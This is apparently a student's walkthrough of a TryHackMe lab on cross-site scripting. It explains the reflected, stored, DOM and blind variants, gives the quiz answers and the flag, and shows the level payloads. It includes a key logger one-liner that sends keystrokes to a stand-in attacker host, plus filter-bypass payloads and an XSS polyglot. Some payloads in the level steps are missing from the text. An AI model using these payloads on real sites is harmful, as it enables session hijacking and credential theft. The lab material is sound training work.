Thm Room —Intro to Cross-Site Scripting

Task — 1:

Cross-Site Scripting, better known as XSS in the cybersecurity community, is classified as an injection attack where malicious JavaScript gets injected into a web application with the intention of being executed by other users.

Answer: Cross-Site Scripting

Task — 2:

Payload: the payload is the JavaScript code we wish to be executed on the targets computer. There are two parts to the payload

intension: intention is what you wish the JavaScript to actually do

modification: modification is the changes to the code we need to make it execute as every scenario is different

Examples:

Proof Of Concept:

To demonstrate that we can achieve XSS on the website, it will cause an alert box to pop up on the webpage.

Session Stealing:

Details of a user's session, such as login tokens, are often kept in cookies on the targets machine. The below JavaScript takes the target's cookie, base64 encodes the cookie to ensure successful transmission and then posts it to a website under the hacker's control to be logged. Once the hacker has these cookies, they can take over the target's session and be logged as that user.

Key Logger:

<script>document.onkeypress = function(e) { fetch('https://hacker.thm/log?key=' + btoa(e.key) );}</script>

anything you type on the webpage will be forwarded to a website under the hacker's control. This could be very damaging if the website the payload was installed on accepted user logins or credit card details.

Business Logic:

This would be about calling a particular network resource or a JavaScript function. For example, imagine a JavaScript function for changing the user's email address called user.changeEmail()

Questions:

Which document property could contain the user's session token?Which document property could contain the user's session token?

Answer: document.cookie

Which JavaScript method is often used as a Proof Of Concept?

Answer: Alert

Task — 3:

Reflected XSS happens when user-supplied data in an HTTP request is included in the webpage source without any validation.

Example:

A website where if you enter incorrect input, an error message is displayed. The content of the error message gets taken from the error parameter in the query string and is built directly into the page source. As the website don't check the content of error parameter malicious code can be injected.

Potential Impact:

The attacker could send links or embed them into an iframe on another website containing a JavaScript payload to potential victims getting them to execute code on their browser, potentially revealing session or customer information.

Test for Reflected XSS:

You'll need to test every possible point of entry; these include:

Parameters in the URL Query String
URL File Path
Sometimes HTTP Headers (although unlikely exploitable in practice

Once you've found some data which is being reflected in the web application, you'll then need to confirm that you can successfully run your JavaScript payload.

Answer: Parameters

Task — 4:

In Stored XSS, the XSS payload is stored on the web application (in a database, for example) and then gets run when other users visit.

Example:

A blog website that allows users to post comments. Unfortunately, these comments aren't checked for whether they contain JavaScript or filter out any malicious code. If we now post a comment containing JavaScript, this will be stored in the database, and every other user now visiting the article will have the JavaScript run in their browser.

Impact:

The malicious JavaScript could redirect users to another site, steal the user's session cookie, or perform other website actions while acting as the visiting user.

Test for Stored XSS:

You'll need to test every possible point of entry where it seems data is stored and then shown back in areas that other users have access to; a small example of these could be:

Comments on a blog
User profile information
Website Listings

Sometimes developers think limiting input values on the client-side is good enough protection, so changing values to something the web application wouldn't be expecting is a good source of discovering stored XSS, for example, an age field that is expecting an integer from a dropdown menu, but instead, you manually send the request rather than using the form allowing you to try malicious payloads.

Answer: Database

Task — 5:

DOM Based XSS is where the JavaScript execution happens directly in the browser without any new pages being loaded or data submitted to backend code. Execution occurs when the website JavaScript code acts on input or user interaction.

Example:

The website's JavaScript gets the contents from the window.location.hash parameter and then writes that onto the page in the currently being viewed section. The contents of the hash aren't checked for malicious code, allowing an attacker to inject JavaScript of their choosing onto the webpage.

Impact:

Crafted links could be sent to potential victims, redirecting them to another website or steal content from the page or the user's session.

Test for DOM based XSS:

DOM Based XSS can be challenging to test for and requires a certain amount of knowledge of JavaScript to read the source code. You'd need to look for parts of the code that access certain variables that an attacker can have control over, such as "window.location.x" parameters.

Answer: eval()

Task — 6:

Blind XSS is similar to a stored XSS (which we covered in task 4) in that your payload gets stored on the website for another user to view, but in this instance, you can't see the payload working or be able to test it against yourself first.

Example:

A website has a contact form where you can message a member of staff. The message content doesn't get checked for any malicious code, which allows the attacker to enter anything they wish. These messages then get turned into support tickets which staff view on a private web portal.

Impact:

Using the correct payload, the attacker's JavaScript could make calls back to an attacker's website, revealing the staff portal URL, the staff member's cookies, and even the contents of the portal page that is being viewed. Now the attacker could potentially hijack the staff member's session and have access to the private portal.

Test for Blind XSS:

When testing for Blind XSS vulnerabilities, you need to ensure your payload has a call back (usually an HTTP request). This way, you know if and when your code is being executed.

Questions:

What tool can you use to test for Blind XSS?

Answer: XSS Hunter Express

What type of XSS is very similar to Blind XSS?

Answer: Stored XSS

Task — 7:

There are Six levels. The aim for each level will be to execute the JavaScript alert function with the string THM.

Level — 1:

Start the Lab machine and attack box and open the link given.

https://10-48-159-101.reverse-proxy.cell-prod-ap-south-1a.vm.tryhackme.com

If we enter our name it is visible below

If we go to the source code of the page we can see our name.

Now we try to enter into the field

Now the THM Successfully popped up.

Level — 2:

Same as level 1 we have given a text box

If we enter our name we can see a little different than the level 1

If we go to the page source we can a input tag so if we add "> this at the beginning of the payload the input tag will be closed and the payload will be executed.

payload : ">

THM successfully popped up.

Level — 3:

Same as the before levels we have asked to enter the name but this time there is a text area box.

If we go to the page source we can see the text area to close this tag we put at beginning of the payload.

payload:

THM successfully popped up.

Level — 4:

Again the same input field but this time it is similar to level 1 our name is directly reflected on the page.

By inspecting the page source you can see name is at the end of this code so again the same approach we will close this by adding '; at beginning of the payload.

payload: ';alert('THM');//

// at the end is needed because to comment '; at the last

THM successfully popped up.

Level — 5:

This seems to be similar like level 1 the name is displayed directly on the page and the page source is also similar but this code will not work because these is a filtering mechanism that filters dangerous words like script.

Now we can use this payload alert('THM'); by using this the script word will be filtered leaving the the payload will bw executed successfully.

THM successfully popped up.

Level — 6:

In this level the input is different we need to enter the image path into the field.

A cat is visible on the page and it is cute.

if we inspect the page source it seem similar to level 2 where we escaped by entering "> but it will fail as the <> gets filtered.

So we will make use of the attributes of the image tag

payload: /images/cat.jpg" onload="alert('THM');

THM successfully popped up.

After completing all the level we got the flag

Polyglots:

An XSS polyglot is a string of text which can escape attributes, tags and bypass filters all in one. You could have used the below polyglot on all six levels you've just completed, and it would have executed the code successfully.

jaVasCript:/*-/*/`/'/"/**/(/ */onerror=alert('THM') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert('THM')//>\x3e`

FLAG : THM{XSS_MASTER}